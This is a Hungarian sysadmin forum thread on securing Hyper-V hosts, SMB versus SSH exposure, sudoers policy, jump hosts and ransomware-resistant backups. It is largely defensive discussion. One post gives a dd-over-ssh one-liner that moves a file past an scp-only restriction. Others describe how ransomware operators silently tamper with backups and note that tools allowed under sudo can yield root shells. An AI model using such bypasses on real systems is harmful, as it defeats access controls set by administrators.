WinRM óta nem kell admin share ahhoz, hogy managelni tudjál egy Windows Server-t és ahhoz sem hogy fájlokat mozgással. Nincs olyan komponense a Hyper-V-nek, ami admin share-eket használja.
De gondolom a Linuxos szervereket is managelned kell valamivel, ergo egy sudo su joggal pontosan annyi kárt tudni tenni távolról a károkozó, mint Windows Server esetén.
És mondjuk a live migration mit használ?
A vpn+ssh nem összemérhető egy smb megosztással. Ezen kívül a linuxos ransomware mennyiség sem összemérhető windows-os károkozókkal.
Ez így van, amíg az SMB szűk szolgáltatásokhoz biztosít hozzáférést, az SSH potenciálisan mindenhez. Az egyik legelbaszotabb dolog a Linuxos világban, hogy fájl mozgatásra használnak egy konzolt biztosító protokollt.
De ahogy írtam, nem szükséges SMB a Windows-hoz.
A windows-hoz önmagában valóban nem kell smb, de ahhoz, hogy dolgozz is vele ahhoz már igen, meg a hyper-v volt a téma, ahhoz is kell. Jók ezek az elméleti megoldások, de már a mezei AD sem megy smb nélkül, az meg kb minden windows környezetben van. Elvileg sok minden lehet, csak ugye a valóság néha közbeszól.
Az ssh-t én nem látom ennyire problémásnak, de az tény, hogy gépem sem érhető el közvetlenül ssh-val a netről.
Hyper-V-nek abban az esetben kell, ha storage migration-t / replicate-et szeretnél, vagy Failover Cluster-ben SMB-n éri el a storage-ot.
De administration share-ről volt szó, az nem kell neki.
Önmagában az SMB még kisebb támadási felületet jelent, mint az SSH.
Hát mutass egy olyan vállalti éles hyper-v környezetet ahol nincs smb. Nem kispálya bt egy szem gépe bohóckodni. Akkor kell smb, ha használni akarod a windowst, kb minden tool igényli, mert szokás monitorozni, meg védeni, meg frissíteni távolról.
Komolyan érdekel, hogy van-e olyan környezet, ahol ki tudták kapcsolni, de nem elméleti, hanem nagy éles igazi.
Az smb meg ssh összehasonlítás nekem alma-körte, egész másra valók.
Szerencsésebb helyen a hyper-v host külön subnet-ben van, ott senkit nem zavar, ha az SMB binding-ol.
Bevallom, komoly Hyper-V rendszerrel még nem volt dolgom, de itt a probléma kapcsán nem is értem, hogy mi más lenne az alapvetés, minthogy a Hyper-V-k külön VLAN-ban vannak, szűken meghatározott helyekről elérhetően (az ESXi-ket és vCenter sem szokás a teljes cég számára elérhetővé tenni, bár nyilván látott már az ember érdekes dolgokat).
Illetve kérdésem is, hogy AD-n keresztül (amihez "kinyúl" egy Hyper-V) ilyen esetben miként lehet rongálni a Hyper-V-n levő adatokat? Az tiszta sor, hogy "nagy" Hyper-V rendszer esetén legyen külön felügyeleti AD, de pl 2-3 szerver esetén ez nem feltétlenül racionális (szemben egy dedikált VLAN-nal, ami 1 gép esetén is fontos).
Én simán átengedném az AD domain forgalmat a Hyper-V hosztok hálózatába, nem vagyok meggyőződve róla, hogy növeli a biztonságot az adminisztrációs fiókok számának növelése.
Ha nem ugyanaz a jelszó, akkor az AD admin jelszavának kompromittálódása nem jelenti instant a HyperV hostok halálát is. Ezeknek külön szeparált dolgoknak kell lenniük.
Az SMB-re én se értem mi szükség van, normális helyen iSCSI-n vagy hasonlón érik el a storage szervert, ott a live migrationhöz nem kell semmise.
Blog | @hron84
via @snq-
Redundáns storage nélkül, sűrű replikával elég jó sla-t lehet vállalni és igen sokat spórolni. Nem mindenhol fürdenek tejben-vajban.
Ezért (is) jobb szerintem a proxmox a ceph cluser megoldásával. Az nagy királyság. Ezen kívül mivel heterogénebb lesz a rendszer a biztonság is jelentősen nő.
Viszont én, igaz régebben, próbáltam smb nélkül hyper-v cluster összerakni, de nem sikerült. Ha valaki ismert egy tutorialt rá, istenuccse kipróbálom.
Ha veszel egy Hyper-V vagy VMWare clusterhez szükséges szerver beruházást, és igény a nagy rendelkezésre állás, akkor mi ez a "tejben vajban fürdés" történet? Annyiba kerül a rendes megoldás amennyibe.
A CEPH meg jó dolog, csak emlékeim szerint minimum 5db szerver kell hozzá. Ez még nagyon szolid vasakkal is bőven több áramot igényel, meg esetleg beruházást, mint egy dual controller, de belépő storage eszköz. Ha pedig a CEPH szétesik esetleg, akkor pislogsz, mint hal a szatyorban, és van itt olyan, aki tudna erről mesélni.
Hol húzod meg a határt a szeparációban?
Ha kompromitálnak egy Domain Administrator account-ot, ott lényegében az egész Windows-alapú és AD-ból authentikáló hálózat mehet a kukába.
Én ennél nagyobb kockázatot látok trust nélküli AD-k, vagy sok lokálisan authentikált account-on alapuló üzemeltetésben.
Azért csináltam már olyat kollégákkal, hogy a Hyper-V node-ra is csak valami hasonló úton lehetett belépni:
1. Belépni egy jump hostra - természetesen 2fa-val. Továbbá képernyő rögzítés és billentyűzet figyelés is volt.
2. Majd innen belépni egy PIM toolon keresztül jump hostra. Itt is 2fa, illetve erősen szűrve volt, hogy ki léphet be egyáltalán a jump hostra. Természetesen se a vágólap, se fájl másolás nem működött a jump hostra és visszafelé sem.
3. Majd utolsó lépésben be lehetett lépni egy dedikált mgmt gépre, amiről aztán lehetett RDP-val / PSremoting-gal belépni a Hyper-V node-okra.
Természetesen volt SCCM / SCVMM is menedzselésre. De azt is csak a 3. lépésben lévő mgmt gépről lehetett elérni.
Nehezítette az életét az üzemeltetőknek? Igen.
Lehetett dolgozni a rendszerrel? Igen.
Az ssh-hoz és sudo-hoz annyit csak: Amikor engedik a "sudo -i"-t, illetve korlátlanul engedik a sudo parancsot futni sok felhasználónak, akkor szokott gyorsan kupleráj kialakulni. Csak sokan félnek, hogy jajj, 1000+ sor lesz a sudoers, ezért lusták minden parancsot az összes engedélyezett paraméterével felvenni. Nekem ebből már volt vitám kollégákkal, akik nem mindig értették, hogy ez miért növel(het)i a biztonságot... Persze a sudo közel sem csodaszer, csak egy eszköz a sok közül.
Azért a sudo-val érdemes vigyázni, mert van egy rakat tool, amiből pl. tudsz shell-t vagy mást is futtatni - immáron root joggal - amit már nem fog megfogni a sudo...
"1000+ sor lesz a sudoers"
Amikor itt rákérdeztem, hogy van-e valakinek tapasztalata több ezer soros sudoersekkel, akkor hamar kiderült, hogy ki nem látott még
ALL=(ALL) NOPASSWD: ALL-nál kifinomultabb sudoerst, hehe. Nagyon sokan.Mert sokan félnek tőle. Egyáltalán az ilyet áttekinteni, megérteni is nehéz tud lenni, ha össze-vissza van tákolva a rendszer. Ideális esetben ezt valamilyen konfiguráció menedzsment rendszerben kellene tárolni, onnan kitolni a szerverekre. Csak sokszor még a nagy cégek is kézzel hegesztik ezeket a fájlok is.
Anno mintha a freeipa-ba is bedolgozható lett volna - legalábbis részben.
Pont ezek váltják ki az ezer soros sueders fájlokat.
Ahol minden változtatás csak kontrollálhatóan mehet végbe, ott nincs szükség rá.
A sudoers nem csak a változtatáshoz kell, hanem sok esetben normál napi üzemeltetési feladatokhoz is (pl. adott szolgáltatást újrarugdalni, az adott host-on lévő konfigot megnézni (a konfig management az csak azt tudja, hogy minek kéne ott lenni, azt alapból nem, hogy valóban az van-e ott és úgy ahogy kéne), logot olvasgatni és hasonlók - tudom, ez utóbbi megfelelően cirkalmas acl-lel is megoldható az esetek döntő többségében...
Abban nem vagyok biztos, hogy hosszabb idő-e ezt centralizálni, mint a szükséges sueders rule-okat karbantartani.
Ezt a nagycéges példát tapasztalatból mondod? Elég meredek állítás.
Volt olyan bank, ahol úgy baszódott el az egyik DEV környezet, hogy az egyik rendszergazda rosszul gépelte be valamelyik fájlba, amit bele kellett írnia ezen meg még százvalahány szerveren és hát pár százalékos hibaaránnyal dolgozott... :D
https://iotguru.cloud
Nem bank, hanem ... környezet, országosan elérhető és használt kritikus szolgáltatások mögötti infrastruktúra. AIX, régi sudo, a sudoers.d alatt kézzel pimpelt fájlokkal. A sudo azon verziója ha a sudoers feldolgozása során hibára futott, ekkor mindenkinek "beintett". Kollegina sikeresen el...rontotta az egyik fájlt, kilépett a sudo su - módon kapott root shellből is, mire ráeszmélt, hogy az úgy nem jó...
Naazt a gyors telefonálást, hogy ki van bent rootként... Mert borítékot bontani kifejezetten khm. kellemetlen lett volna...
Egyébként amit százvalahány szerveren kell beírni, azt okos ember kopipasztázza, ha már nincs valami konf.management eszköze... (Tudjuk, te sohasem gépeltél el semmit... )
Hacsak nem root123 a jelszó, amit mindenki tudott... szintén egy bank... :D
Ja, ez valami névfüggő valami volt, rövidebb volt begépelni, mint bemásolni, törölni a felét és beírni a felét.
https://iotguru.cloud
Nem vicc, komoly, dolgoztam olyan cégnél, ahol a jelszó mindenkinek ugyanaz volt. A titok az usernév volt.
Oké, 25 év előtt volt, másik országban, de... azóta se bírtam feldolgozni.
Az ilyen extrém esetekre az lett volna az új szabály egyik ügyfélnél, ha változtatás történik - jóváhagyott - legalább 2 de ideális esetben 3 mérnök vizuális megerősítése szükséges.
Egyik mókamester megkérdezte hogy akkor most költözzek össze a xy-al, mert azt kértétek hogy ez meg ez éjfélkor legyen megcsinálva az pedig otthonról megy.
Ment is ám a nagy hümmögés mert erre nem gondolt senki odafent aztán elég ciki volt.
Végül nem lett belőle semmi.
Teams meetingben screenshare a másik 2 emberrel, akkor nem kell odaköltöznie a másik 2 embernek a dolgozódba. És igen, ha éjfélkor van a cséndzs, akkor nekik is ébren kell lenniük. De ha fontos a 6szem-elv elkerülni a fukup-ot, akkor kell a másod-harmadvélemény. Illetve muszáj h. megfizetik a készenlétet ügyeletet ha ezt éjfélkor kell játszani nem emberi időben. Azt nemtudom ezt a példát minek kell tekinteni mert végülis dolgoztak, szolgálatba helyezték magukat arra a 10 percre amíg átnézték a 3. ember konfigját.
Százvalahány szerver.
Komolyan, aki ennek úgy áll neki, hogy cséncs keretén belül elkezdi átírogatni, az meg is érdemli.
Persze... nem az a kérdés, hogy nem így kellett volna csinálni.
Kihagytam hogy ez még mindig 2009-es anekdota volt, annak idején nem dúskáltunk a videókonferencia softwarekben, más idők jártak. És sok esetben policy volt hogy nem lehet képernyőképet sem készíteni. Azóta azért változtak a dolgok, de még ma is látni olyat hogy a security inkább obscurity vagy elavult nézeteik vannak a területen dolgozóknak.
LiveMeeting 2007 már volt akkor is :)
Olyat már láttam, hogy a shared domain administrator jelszava az IT manager feleségének keresztneve volt.
"Ja, ez valami névfüggő valami volt, rövidebb volt begépelni," - Két lehetőség van: az egyik, hogy annyira egyedi a függés, hogy nem lehet/nem érdemes (túl bonyolult lenne) scriptet írni rá, illetve a másik,hogy scriptelhető az egész.
Az első esetben megint csak két lehetőség van: kézzel, egyedileg mindenhol gányolni (és hibázni), vagy előre összeállítani a változó "paraméterek" listáját a név függvényében, azt többször/többen átnézni - majd ez alapján már scriptből tolható a módosítás, azaz vissza lett vezetve a 2. esetre.
A második (scriptelhető) eset az egyszerű: script megír, tesztel, majd végigtol mindenütt, ahol csak kell.
Ahol Ansible vagy más konfigmanagement van, ott is jellemzően feltétel, hogy scriptelhető legyen a módosítás. (A scriptelhetőbe beleértve a cvs/svn/fsvs/git/satöbbi verziókezelőből kihúzott fájlok kezelését is (checkout, helyére másol, fsvs kivételével acl helyrerak).)
"törölni a felét és beírni a felét" - a vi csodákra képes :-D - ahogy az agilis, de tudás- és/vagy gyakorlathiányos üzemeltető is. :-D
Hogy nem szakad le a plafon, a múltkori XML vs YAML eszmefuttatás után :P
yamlben gyakrabban lenne szar :D
Megesik, erre jó az automatizáció mert akkor legalább konzisztensen rossz mindenhol.
A dev környezet már csak ilyen, az a durva ha aztán nem repóból húzzák újra hanem debuggolni kell hogy miért nem megy.
Nekem más tapasztalatom volt bankokkal: 2009 -ben Cobbler + CFEngine/Puppet.
Újabban kubernetest tolnak- ezt a volt kollégák LinkedIn-jéből következtettem ki.
Sajnos a saját szememmel láttam. Hála isten ott és akkor nem én voltam a Linux/Unix kolléga.
Itt a második két lépés milyen vélt haszonnal járt?
Hasonló - ha nem pont ugyanaz, hehe - szituációból kiindulva annyi, hogy:
Hasonlóképpen az RDP protokollhoz, igaz? :)
Igazából mindenkinek jobb lenne, ha valahogy elő lehetne írni, hogy egy bizonyos kapcsolaton 'scp mehet, ssh tilos'.
Vannak erre külső megoldások. RDP-re,SSH-ra is pl:
https://www.oneidentity.com/products/one-identity-safeguard-for-privile…
Nyitott kapukat döngetsz (érdemes megnézni azt is, hogy mióta létezik): https://linux.die.net/man/8/scponly illetve https://man.freebsd.org/cgi/man.cgi?query=scponly
https://iotguru.cloud
Elég régóta van ez már ja, de a külső szerverfüggetlen megoldások is 10+ éve léteznek, az egyik első ilyen magyar fejlesztés volt. SCB/Balabit.
Amúgy érdemes tudni hogy a 9.0-ás openssh óta az scp az csak egy "alias" az sftp-re.
https://undeadly.org/cgi?action=article;sid=20220409132310
Azért ez megoldható. Nem egyszerű jól megoldani "ingyen", de megoldható.
Korlátozhatod a shellt,hogy az ssh (sic) tilos legyen.
Csak akkor megint ott vagy, hogy a napi munkavégzésre használt account-on felül kell egy account, aminek csak SCP-re van joga, meg egy külön, ami kap Shell-t is.
Kezdetektől fogva lett elcseszve, hogy egy protokollt használnak fájl mozgatásra és távoli shellre, ez pedig általánossá vált.
Minden egyéb hiányosságai mellett ez egy olyan terület, ami jobban át lett gondolva a Windows-okon.
dd if=lofac | ssh -i .ssh/lophacjoska lophacjoska@nincsscp dd of=/tmp/lophac
És máris ott van az ssh-ban a fájlátvitel. Igaz, ez után az SPS admin, pláne ha khm. "jelentős méretű" a fájl, akkor letépi a delikvens legnemesebb szervét :-)
Az ssh by design távoli terminált és fájlátvitelt, illetve portátirányítást valósít meg. Ahogy az rdp is ad távoli képernyőt, fájlátvitelt/vágólapot, átirányítást (usb, printer, sound, stb.).
Az rdp-szolgáltatásból ezeket az "extrákat" ki lehet valahogy kapcsolni/tiltani az rdp-kiszolgálón, vagy mindenképp kell hozzá egy 3rd party eszköz, ami ezeket a csatornákat tiltja? A vágólap tiltása (részben) tudom, hogy működik policyból.
Igen, és?
Mármint technikailag igen, ez user kérdés, ha ilyen igény van, hogy valaki egyszerre tudja ezt, meg azt. De ha mindkettőre van jogom, akkor igazából nem mindegy, hogy ezt egy ssh keresztül kapom, vagy egy telnettel és egy ftpvel? (képzeljük oda az secure channelt most azok alá is, nem az a lényeg).
Ha meg eseti döntés kell, akkor meg valami még mindenképpen kell majd, ahol a döntést hozó 3rd party dönthet, és ez a döntés dinamikusan lekerül, ha linux, ha windows.
Illetve hát azt kell látni, hogy ahol terminál van, ott fileátvitel is van, lásd zellert. Ha fileokat tudok kezelni, akkor abba fogok tudni biteken terminált önteni, ha más nem base64, copypaste. Ez ezeknél a rendszereknél adottság.
Illetve hát valamiért én mégiscsak azt látom, hogy a windowsoknál dívik a 'bela' és az 'admbela'...
"ha más nem base64, copypaste" - a régi szép terminálos időkben meg uuencode/uudecode...
Igazából az volt, ja, mert solarison az volt csak default telepítve, tényleg :-)
Dedup
Kezdetektől fogva lett elcseszve, hogy egy protokollt használnak fájl mozgatásra és távoli shellre, ez pedig általánossá vált.
Persze, ez a tipikus "ha világéletedben egy kalapács volt a kezed helyén, akkor az egész világ egy szögnek tűnik" hozzáállás.
A protokoll egy transzfer protokoll, ergó tökéletesen alkalmas bárminek az átvitelére IS (fájl mozgatás, távoli shell, meg gyakorlatilag bármilyen port forward, tehát bármi IS).
ami jobban át lett gondolva a Windows-okon
Nope. Ez nem (sem) lett jobban átgondolva a Windowsokon.
Csak akkor megint ott vagy, hogy a napi munkavégzésre használt account-on felül kell egy account, aminek csak SCP-re van joga, meg egy külön, ami kap Shell-t is.
Ez ugye a Windowson alap, minden általam ismert valamirevaló Windows rendszergazda külön user és külön admin accountot használ. Állítólag azért, mert ez jobban át van gondolva a Windowsokon, mert bizonyos dolgokat ha belegebednek sem tudnak admin jogosultsággal rendelkező accountjaikkal megcsinálni, ezért kell egy sima is... #ohwait
A felvetésre visszatérve: képzeld, nem kell külön account csak az SCP-re, meg külön shellre. Képzeld, a UNIX világban lehet egy gépen ugyanazt a szoftvert több független példányban futtatni! Tudom, tudom, a Windowsos világ számára még új ez a terep, több IP cím, több DNS név, több port, több példány - eltérő konfiggal/szolgáltatáshalmazzal, de nekünk, UNIX-osoknak ez már a múlt évezredben megvolt ;-)
SCP, frászt. SFTP. Az OpenSSH internal-sftp szervere pont ezt tudja.
Blog | @hron84
via @snq-
Azt nem tudom, hogy szerver oldalon lehet-e pl. GPO-ból vagy más módon szűkíteni az rdp funkcionalitást, de hogy 3rd party eszköz van rá, az biztos. (Nekem is van olyan TS-em, ami tényleg csak terminál, vágólap, fájl "dobálás", nyomtatás, usb, hang, ingyombingyom :-) nincs.
Pont arra való az SMB, hogy ne kelljen RDP-vel fájlokat másolgatni.
Így hackelés és 3rd party tool-ok nélkül biztosít titkosított, tömörített, passwordless, ACL alapú, naplózott fájl elérést. ;)
Ha tűzfalazod az SMB-t a Hyper-V node-okon, akkor jelentősen csökkentheted, hogy honnan is érhető el. Ja, hogy a PHP Pistike szinten az a szokás, hogy tűzfal kikapcs. Láttam már ilyet nagy cégnél is, sajnos.
Jól összefoglaltad. Annyi tennék hozzá, röviden, hogy ha jót akar az ember magának, nagyjából ezek kellenek:
- hyper-v külön domain
- hyper-v külön lan (nem vlan, külön switch(ek))
- guest nem érheti el a host-ot
- backup külön lan (egy combosabb mentés ne fektesse meg a management-et)
- offsite/szalagos/hálózatból elérhetetlen mentés
Így nagyjából csak hyper-v exploit ami miatt borulhat az egész :)
Ezt úgy mondod, mintha az admin share-ek csak domain-en léteznének...
Akkor még egyszer: workgroup-ban is ugyanúgy működik.
Ha egy ransomware domain admin joggal fut, akkor ez lesz a legkisebb gondod.
Egy normális hálózatban semmi probléma nincs belőle, hogy egy hyperv server domain tag.
Ezért kell elszeparálni teljesen a munka domian-tól fizikailag a hálózaton is. Nem workgroup, külön domain kell neki. Persze, addig nincs probléma, míg nem jön egy újabb wannacry. Akkor ugyanis ilyen, "semmi probléma nincs belőle" rendszerek dőltek össze. A hyper-v (mint minden virtualizáló host) képes elszeparálni magát a guest gépektől, így a munkaállomások és a rajta futó guest gépek sem érik el az admin share-t rajta.
Ezek ellenére szerintem "nagyon bátor" aki hyper-v-t használ. Ott az ingyenes (kifizethető support árú) proxmox, vagy akinek van rá, a vmware. A homogén rendszer security szempontból nem szerencsés.
u.i.
Ha emlékszel a wannacry egy smb sérülékenységet használt ki és nem kellett admin jog, hogy elérjen bármilyen share-t írás joggal! Hát tényleg volt sírás-rívás.
Üzemeltetek vagy 30 hyperv szervert, klasztert, nagyon bátor vagyok.
Vmware-t épp most törögetik mindenféle automatizált worm-ök, nem tűnik jó ötletnek azzal példálózni, hogy mennyivel biztonságosabb, mert nem az.
Wannacry-ra volt patch, fel kellett volna rakni. Aki nem patch-el és nem tartja be a minimális üzemeltetési feltételeket az bizony sirni-rini fog. Akkor is ha hyperv-t használ és akkor is, ha proxmoxot vagy épp a hűdebiztonságos-és-ezért-nagyondrága vmware-t.
A hyperv egy nagyon jó eszköz, nincs vele semmi gond, ha értesz hozzá. Ha pedig nem értesz, akkor mindennel megszivod.
Ühü:
https://www.bleepingcomputer.com/news/security/freakout-malware-worms-i…
https://www.bleepingcomputer.com/news/security/new-malware-backdoors-vm…
Szóval mindenre kitalálnak mindent, még akkor is, ha maga a telepítő van "felütve". A VMWare azért remek célpont, mert nagyon berágta magát, mint szupermegoldás, és nagyon nagy helyeken használják, szóval megéri támadni.
A Hyper-V remekül tud működni, és mivel amúgy is szeparálod a hálózatot, ha lehet fizikailag (értsd adnak rá zsetont, van hely a rackben hozzá stbstb), ezért igen nehezen jut be oda valami. Az SMB-t elég csak mentéshez használnod, és igen szépen lehet még tűzfalazni is. A shared storage mint FC vagy iSCSI, pláne egy rendes storage eszközön, azért még mindíg nyerőbb, mint SMB-ről megoldani a dolgokat.
A Wannacry ráadásul az SMBv1-es cuccot használta ki, ami (elvileg, bár lehet ezt pont ezután vezették be) alapértelmezésben már ki volt kapcsolva Win10 és arra épülőkön. Ettől függetlenül mindenben lehet olyan bug, amivel végigtúrják a hálózatot, nincsenek illuzióim.
Szerintem itt a kulcsszó a szeparáció, izoláció. Ha ez nincs meg, akkor teljesen mindegy, hogy milyen virtualizációt használ. Speciel én üzemeltettem nagy Hyper-V rendszereket is (100+ cluster, 1000+ fizikai szerver) és elég jól elműködött mindenféle issue nélkül.
No meg hiába a több domain, ha valaki kitalálja, hogy milyen jó lenne trustba tenni őket...
Természetesen ha az üzemeltetési kompetenciák nem megfelelőek, akkor a Proxmoxot és a Vmware-t is pár óra alatt tönkre lehet tenni. Aztán jön a BCP, DRP, amikről meg általában ki szokott derülni, hogy csak papíron vannak és soha se tesztelik őket. Ja, hogy utána meg jön az "oldd meg, te vagy a szakember!!!" című sárdobálás...
Lehet elfelejtették patchelni az IIS-t tavaly januárban ;)
Pedig fájdalmasan prosztó módon is lehet értelmes mentést készíteni, ahol nagyon nehezen merülne fel ilyen forgatókönyv.
Vortex Rikers NC114-85EKLS
A pletykák szerint egy Ransomware-t beszívtak és kb mindent is megállítottak, hog minél kisebb legyen a kár!
ransomware, mindeki szabira van kuldve aki nem uzemeltetes
Remélem a teljes üzemeltetést meg kirakták, ha így beszívnak ilyesmit.
MM-nél sem történt ilyesmi...
inkabb az a kerdes, hogy egyresze a web felol hogy kurhatta el a backendet/backoffice rendszereket, es viszont - a backoffice felol hogy kurta szet az ugyvitelt...
Úgy, hogy ezeknél a cégeknél ez nem válik el egymástól. Fenn van mondjuk egy webszerveren a crm.chs.hu, a webshop.chs.hu, és kész. Természetesen cPanelben vagy valami hasonlóban hostolva, localhoston a mysql.
Blog | @hron84
via @snq-
Itt az "ezek a cégek" mit jelent pontosan?
Szerintem ez nem annyira F/F, szóval ha valaki így gondolná, annak lassítanék a helyében.. vagy tényleg menne a darálóba az egész.
Vortex Rikers NC114-85EKLS
ransomware sajnos igaz... nem lennek most ott IT-s :D
http://szolarenergia.hu
A hálózatépítést csak elkezdeni lehet, befejezni soha
Miért? Csak (automatizált) reinstall és visszaállítás backup-ból. Ha valami megakad, megnézik a dokumentációt. ;)
Kivéve, ha ransomware megette a mentést is. 🙄
trey @ gépház
egy mentés nem mentés, elo kell venni a szalagot :D
Szerintem keresik.
trey @ gépház
Na meg normális esetben PURDUE model elvei szerint a backupszerver egy biztonságosabb zónában ülve nyúl a mentendőért. Ergó nem mehet át a régebbi adatvagyon tárolójára a pusztítás.
Sajnos sok helyen számomra érthetetlen megfontolásból mai napig nem így csinálják
Ez még önmagában kevés. Biztosnak kell lenned abban, hogy amit lementettél az nincs titkosítva. Manapság már jellemző, hogy miután bejutnak valahova (főleg komolyabb helyekre, ahol érdemi pénzt lehet kérni), megkeresik (scripttel), hogy milyen mentésed van (pl milyen agent fut, milyen külső elérések vannak, milyen dump és egyéb scriptek) és megoldják, hogy már a mentés titkosítva történjen meg a tudtod nélkül. Ezt csinálják X napig (pl X=31) és utána titkosítják le az éles rendszert és kérik a váltságdíjat. Így sokkal nagyobb esélyük van pénzhez jutni, szemben azzal, hogy előző napi offsite mentésből vissza tud állni a cég. Persze ha a külső hely olyan módon menti az adatokat, hogy az nem igazán látható a mentett szerverről, akkor az oké lehet, vagy ha nagyon fullos monitorozásod van a mentésen, az is sokat segít, de a legbiztosabb az, ha rendszeres visszaállítási teszted van, ahol a "rendszeres" nem fél év, meg ilyenek... vagy hát az akkor elég, ha nem gond fél évnyi adatot elveszteni.
Ez mondjuk már egy - nem éppen tipikus - célzott támadás.
De ahol 30 napig illetéktelenek tevékenykednek - feltűnés nélkül - hát ott már igen nagy a baj.
Az ilyen problémáknak pedig az oka - ahogy már más is említette, az ilyen cégeknek az IT (security, backup) csak egy kötséges nyűg.
Így minimális pénzt/tudást fordítanak rá. Aztán egyszercsak így járnak.
De, ezek után biztosan tudják majd mérlegelni, hogy mekkora összeget érdemes hatékony és működő IT Security-ra költnei.
Ha ezek után sem, akkor meg megérdemlik.
zrubi.hu
Nem fogok titkot elárulni h. nagy multinál is kupleráj van a szekuriti cukormáz alatt. Ott, ahol euro/dollár tíz-százmilliárdok forognak kockán. Mindenhol csak a gányolás, a papíron megfelelünk, a szekuriti tréninget minden évben szorgalmasan végigültük, kitöltöttük a tesztet, compliant minden mint a kutyafasza. Aztán meg unmanaged otthoni eszközről kell belépni az azure tenantba, mert a céges gépen a céges szeku poliszi nem engedi feltelepíteni azokat a toolokat, amikkel az ember a napi munkáját kellene végezze. Pontosabban persze, notepad.exe-ben is lehet konfigot heggeszteni, csak akkor az 1-2 órás meló 3 napig tartana, és 100-ból 99x hibás lenne elsőre. Mert parancsba van adva, hogy First Time Right, és ezr mérik külön semmirekellő menedzserek hada, és baszogatást kapsz ha nem müködik elsőre, meg milyen hülye vagy hogy hibáztál! A főnökséget meg nem érdekli miért 3 nap, az 1-2 órás időtartam alapján osztják be az idődet, és amíg nem dől ki a biliből a szar, hallgatólagosan szemet hunynak a szekuriti poliszi nyilvánvaló áthágására. Mert felfelé természetesen nincsenek kommunikálva az elégtelen munkafeltételek, mert fent ezekről hallani se akarnak. Ott azokat csak az érdekli hogy minden compliant papíron. Így dógozzá b+ !
Effektíve ha berendelik az embert dolgozni aznap az irodába, akkor nem tudja elvégezni a munkáját, mert a valóban dolgozós privát laptopját nyilván nem fogja bevinni az irodába rádugni a céges hálóra.
Már az is gáz, ha lehet, nem az, hogy kell.
Ott vannak előnyben a multik, hogy a többé - kevésbé müködő folyamatok sok mindent lefednek, ez mellett van pénzük security eszközökre.
Ha van vulnerability scanner, local admin jogosultságokat felügyelik valami eszközzel (Avecto pl.), a felhasználói és hálózati aktivitásokat figyelik, már is előrébb vannak.
Nyilván sejtheted h. több ember több szinten is hunyó abban, hogy ez így működhet. És sajnos nem tudom őket egyértelműen elítélni. Ezek ilyen evolúciósan kialakult dolgok, az emberek, csapatok így reagálnak a rossz szabályozásokra, rosszul működő folyamatokra.
Én pl. 2 éve könyörgök h. hagyják jóvá a total commander használatat, mert annyi kibaszott fájllal kell zsonglőrködnöm. A windows beépített fájlintézője meg olyan buta mint a tök. Megvettem saját zsebből a licenszet is tizenx éve (kíváncsi lennék hány cégnél nyomkodják évtizedek óta az 1-2-3-at), de a szekusok nemengedik, mert az personal use, ez így céges gépen meg már biznisz usage lenne. De pénzt nem adnak rá megvenni céges licencelt változatban. Az az 50 kiba euró ezerszeresét elégettem már 2 év alatt a lassabb munkám miatt. De nem, akkor sem lehet. Különben is szekuriti riszk a total commander, ezért no approve. Notepad++ is sok sok sok sok sok év után ment át a bürokrácián, érthetetlen hogyan sikerült.
Kell belső marketplace a legfontosabb cucokkal.
Ezt nagyon sok helyen kispórolják, de alapvető, ha nem akarsz local admin jogot adni.
Van belső marketplace, na abba nem akarnak belerakni szinte semmit amire szükség van.
erre kiváncsi lennék..
talan mert akarmilyen ketes plugin telepitheto bele?
de inkabb az lehet a gond, hogy senki nem akar foglalkozni az "auditalasaval" (amit utana raadasul frissiteni is kell idonkent)
?? netrol letoltott random szarokat tc-től függetlenül is futtathatnak; ez nem tc kérdése.
Windows applocker: semmilyen 3rd party exe-t nem enged futtatni, ami nem lett explicit whitelist-elve.
Mondjuk a Windows a legnagyobb program, amire aztán bármilyen kétes alkalmazás telepíthető, ez mégsem szokott elég kifogás lenni ellene.
Nagy Péter
Ha nincs rendesen beállítva, akkor igen :)
Kiváncsi vagyok, hogy Linuxon hogyan oldható meg, hogy csak bizonyos vendorok által aláírt binárisok legyenek futtathatóak. :)
Mármint L.P. által személyesen aláírt, gondolom.
Sosem csináltam, kicsit olvasgattam már egy jó 10 éve, de signed elf létezik, a kernelben levő IMA support pedig már akkor úgy tűnt, hogy beszél a TPMmel, és van/lesz hozzá aláírás ellenőrzés. Ha jól rémlik, vmi fs xattr-ba teszi el a hasheket. Szóval elvileg lehet, nem is kifejezetten új dolog.
Mondjuk az nem rémlik, hogy scripttekkel pl mit csinál. Tényleg, windows pl powershellel mit csinál ilyenkor?
"Mondjuk az nem rémlik, hogy scripttekkel pl mit csinál. Tényleg, windows pl powershellel mit csinál ilyenkor?"
https://learn.microsoft.com/en-us/powershell/module/microsoft.powershel…
Köszi.
Mondjuk a gyakorlatban azért kíváncsi lennék a RemoteSigned internet/nem internet megkülönböztetőkéjének a megbízhatóságára, meg az ilyenekrére, hogy "Permits individual commands, but does not allow scripts." :), de egész átgondoltnak tűnik.
Kimegy a BSA és csattan a bilincs. :D Mondjuk a FAR Manager amúgy is jobb és BSD.
btw azért van olyan hely ahol megvásárolják :) Ott nem kattan a bilincs :) Bár gondolom elég kevés ilyen hely van :) személy szerint 1 ilyen helyről biztosan tudok :) Bár az se multi*
Én a total commandert (leánykori nevén windows commander) használom lassan 25 éve, a far-t nem szerettem sosem.
Az lehet a baj, hogy nem DOS-on nevelkedtél, ott ilyen grafikus baszás nem volt, ott rendes emberek előbb-utóbb rátaláltak a Volkov Commanderre. Az volt a non plus ultra. Na aki ilyen háttérrel jön, annak nem kell TC, annak Far Manager kell. Már persze ha Windowson kell szopkodni...
DosNavigator megvolt...
VC/NC, az is valami?
A PathMinder, na ha azt használtad, akkor már tényleg nagyon tapasztalt öreg vagy.. :D
Az volt az első, amit használtam ;-) :D
Eszetlen jó kis cucc volt. Ja, és teljesen jól működött XT-n is, monokróm monitoron.
dosshell megvan?
A Far managertől hányingerem van.
Pedig 3.1-es dossal kezdtem, XT-n. De... ja, ez ízlés kérdése.
TC-vel mi is szivtunk a license miatt, vegul talaltunk egy alternativat: http://multicommander.com/
License Information: Free for personal, commercial and governments use
Mi a probléma vele? Egyszeri költség a cég életében..
Total commander sok fícsörét használom, kimondhatatlanul hasznos és kézreálló tool.
Irfanview szintén, de azt előbb elengedtem a munkahelyen.
